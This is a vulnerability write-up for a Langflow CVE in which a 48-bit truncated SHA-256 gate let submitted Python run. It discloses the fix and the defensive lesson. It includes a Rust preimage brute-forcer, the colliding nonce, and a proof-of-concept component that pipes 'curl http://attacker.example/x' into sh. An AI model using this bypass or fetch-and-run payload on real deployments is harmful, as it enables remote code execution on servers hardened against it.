CVE-2026-9201High (CVSS 8.8)Fixed6 min read
Langflow's hardening mode decided which Python was safe to run by comparing 48 bits of a SHA-256, and 48 bits is an afternoon on a laptop
Setting allow_custom_components=false is Langflow's documented control for multi-tenant deployments that must not run user-supplied Python. It allowed code whose SHA-256 truncated to 12 hex characters matched a shipped component template, and then executed the submitted bytes. A multi-target second preimage against the 355 templates a real instance loads took 3 hours 25 minutes on a laptop CPU, and about ten seconds on a rented GPU. The accepted payload differs from the rejected one by a comment.
- Vendor
- IBM
- Product
- Langflow OSS
- Weakness
- CWE-326
- Affected
- 1.0.0 through 1.10.3
- Fixed in
- 1.11.0
- Advisory
- GHSA-wq52-m42w-xg45
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Disclosure timeline
May 12, 2026
Reported privately to IBM through HackerOne: the allow_custom_components=false trust gate compares a SHA-256 truncated to 48 bits, and the bytes that clear the gate are the bytes that get executed.
May 12, 2026
Multi-target preimage search finished in 3 hours 25 minutes on an Apple M4 Max. The colliding component was posted to the same report, along with a self-initiated revision of the submitted CVSS from AC:H to AC:L, since a laptop had just done it.
May 15, 2026
Triaged by IBM PSIRT.
May 21, 2026
CVE-2026-9201 reserved by IBM, which is the CNA for Langflow OSS.
Jun 16, 2026
Fixed upstream. langflow-ai/langflow#13532 makes a collision harmless by executing the server's own trusted source rather than the submitted bytes; the change ships in 1.10.1.
Aug 5, 2026
IBM bulletin, CVE record, and NVD entry published, rated High at CVSS 8.8, with IBM's vector matching the revised one character for character.
Aug 17, 2026
IBM added the finder credit to the CVE record and named the report in the bulletin's acknowledgement.
Langflow runs user-authored Python. That is the product. Components in a flow are classes, the editor lets you write them, and the backend executes them. For a deployment where the people building flows are not the people who own the server, Langflow ships a switch to turn that off: LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false. Its own docstring frames it as the multi-tenant control.
With the switch on, POST /api/v1/custom_component and /custom_component/update accept code only if it matches a component template the server already ships. Matching is by hash:
def _compute_code_hash(code: str) -> str:
"""Compute the 12-char SHA256 prefix used by the component index."""
return hashlib.sha256(code.encode("utf-8")).hexdigest()[:12]
def code_hash_matches_any_template(code: str, all_known_hashes: set[str]) -> bool:
"""Check whether code matches any known component template hash."""
return _compute_code_hash(code) in all_known_hashes
Twelve hex characters is 48 bits. And on a match, the code that runs is the code that was submitted.
Why the truncation is the whole bug
Truncating a digest is completely ordinary when the digest is an index key. That is what the docstring says it is, and as a cache key or a UI identifier, 12 characters is fine. The problem is that the same function became the input to an authorization decision, and nothing in the code marks the transition. One call site wants a short stable label. The other is asking whether to execute attacker-controlled Python. They call the same helper.
At 48 bits the answer to the second question can be bought. Finding a second preimage against one specific target is about 2^48 attempts, and this is not a single-target problem: any of the shipped templates will do. A real 1.9.2 instance with allow_custom_components=false loads 355 of them, which drops the expected work to 2^48 / 355, roughly 7.9 x 10^11 hashes.
The target set is not a secret either. Components are open source, so the hashes can be derived from the release. An authenticated caller can also just ask for them, since GET /api/v1/all returns the catalog with metadata.code_hash on each entry.
Doing it
The search is a Rust brute forcer over a fixed payload with an appended nonce, checking each digest's first 48 bits against the 355 targets in a set.
const TEMPLATE_PREFIX: &[u8] = b"...malicious component source...\n# nonce:";
(0..n_workers).into_par_iter().for_each(|worker_id| {
let mut nonce: u64 = worker_id as u64;
loop {
let candidate = format!("{}{}", TEMPLATE_PREFIX, nonce);
let digest = Sha256::digest(candidate);
if targets.contains(&u48_from_bytes(&digest[..6])) {
return;
}
nonce += n_workers as u64;
}
});
On an Apple M4 Max, 14 threads at about 71 MH/s aggregate, it landed after 3 hours 25 minutes:
nonce: 987399634197
truncated_12: db72277a0d5a
full_sha256: db72277a0d5a8214b295ff1e0c1d664136bc5dacd95bc570f811c7d2e360fc47
elapsed: 12257.7s
A laptop is the slow way to do this. At the roughly 80 GH/s a single H100 does on short SHA-256 messages, the same search is about ten seconds, which is a rounding error on an hourly GPU rental.
The colliding component is 337 bytes and is the plainly malicious version of itself:
from lfx.custom.custom_component.component import Component
class EvilComponent(Component):
display_name = "Innocent"
description = "totally innocent"
def build_config(self):
return {}
def build(self):
import os; os.system("curl http://attacker.example/x | sh")
return "owned"
# nonce:987399634197
Against a hardened container, the same code without the last line returns:
HTTP/1.1 403 Forbidden
{"detail":"Custom component creation is disabled"}
With the last line:
HTTP/1.1 200 OK
{"template":{"code":{...,"value":"...os.system(\"curl http://attacker.example/x | sh\")..."}},
"display_name":"Innocent",...,"metadata":{"code_hash":"db72277a0d5a",...}}
The difference between rejected and accepted is a Python comment. It changes nothing about what the code does and everything about what its first 48 bits are. Langflow echoes back code_hash: db72277a0d5a, which is the server confirming it computed the same value and was satisfied by it.
The component is then stored in the flow. It is not a one-shot request; every later execution of that flow runs it again.
Severity
IBM published CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8 High.
The submitted report originally argued AC:H, on the theory that needing to run a preimage search is meaningful attack complexity. Once the search actually finished on a laptop in under four hours, that was no longer defensible, and the follow-up revised it to AC:L rather than leaving the more flattering number in place. IBM published the revised vector unchanged.
PR:L is the honest standalone rating: the endpoint requires a bearer token. On a deployment that also left AUTO_LOGIN at its default, that token is a public GET request away, which is CVE-2026-9198, and the pair is unauthenticated code execution against a deployment specifically hardened to prevent code execution.
The fix, which is better than the one that was asked for
The report recommended comparing full digests. Langflow did something more interesting, in langflow-ai/langflow#13532, merged June 16 and shipped in 1.10.1.
_compute_code_hash still returns 12 characters on main today. The truncation was never the thing that had to change. What changed is that clearing the gate no longer authorizes the submitted bytes:
def get_trusted_code_for_validation(code: str) -> str | None:
"""Return the server-trusted source whose hash matches ``code``, if any.
When a request clears the hash gate in a restricted deployment
(``allow_custom_components=False`` or admin-only mode), callers must exec
the value returned here instead of the client-submitted bytes. Because the
gate is a truncated-hash check, a second-preimage collision could otherwise
run attacker code; substituting the trusted source keyed by the same hash
closes that gap, a collision just re-runs the server's own component.
Returns ``None`` when no trusted source is known for the code's hash, in
which case callers must fail closed rather than fall back to client bytes.
"""
A collision now buys the attacker the right to run the component they collided with, which the server already shipped and already trusts. The hash goes back to being a lookup key, which is all it was ever suited for. It fails closed when no trusted source is known, and only source whose recomputed hash equals its own key is eligible, so a malformed catalog entry cannot widen the set.
Widening the digest would have fixed this particular arithmetic. Removing the digest's authority fixes the class.
IBM's bulletin lists the remediation for its whole seven-CVE bundle as 1.11.0 and the affected range as 1.0.0 through 1.10.3. The code change itself is in 1.10.1.
The pattern worth keeping
Ask of every hash comparison in a codebase: is this answering "which one is this" or "is this allowed". Truncation is free for the first question and load-bearing for the second, and the same helper usually serves both, because the second use grows out of the first over time. Nobody writes hexdigest()[:12] as a security control. They write it as an index key, and then a year later something starts asking it a question it was never sized for.
The other half is the shape of the check itself. Verifying that input matches something trusted, and then using the input, leaves the entire weight of the decision on the comparison being perfect. Verifying that input matches something trusted, and then using the trusted thing, does not. The second version is barely more code and it survives a broken comparison, which is the property you actually want, because comparisons are exactly the kind of thing that turns out to have been sized for a different problem.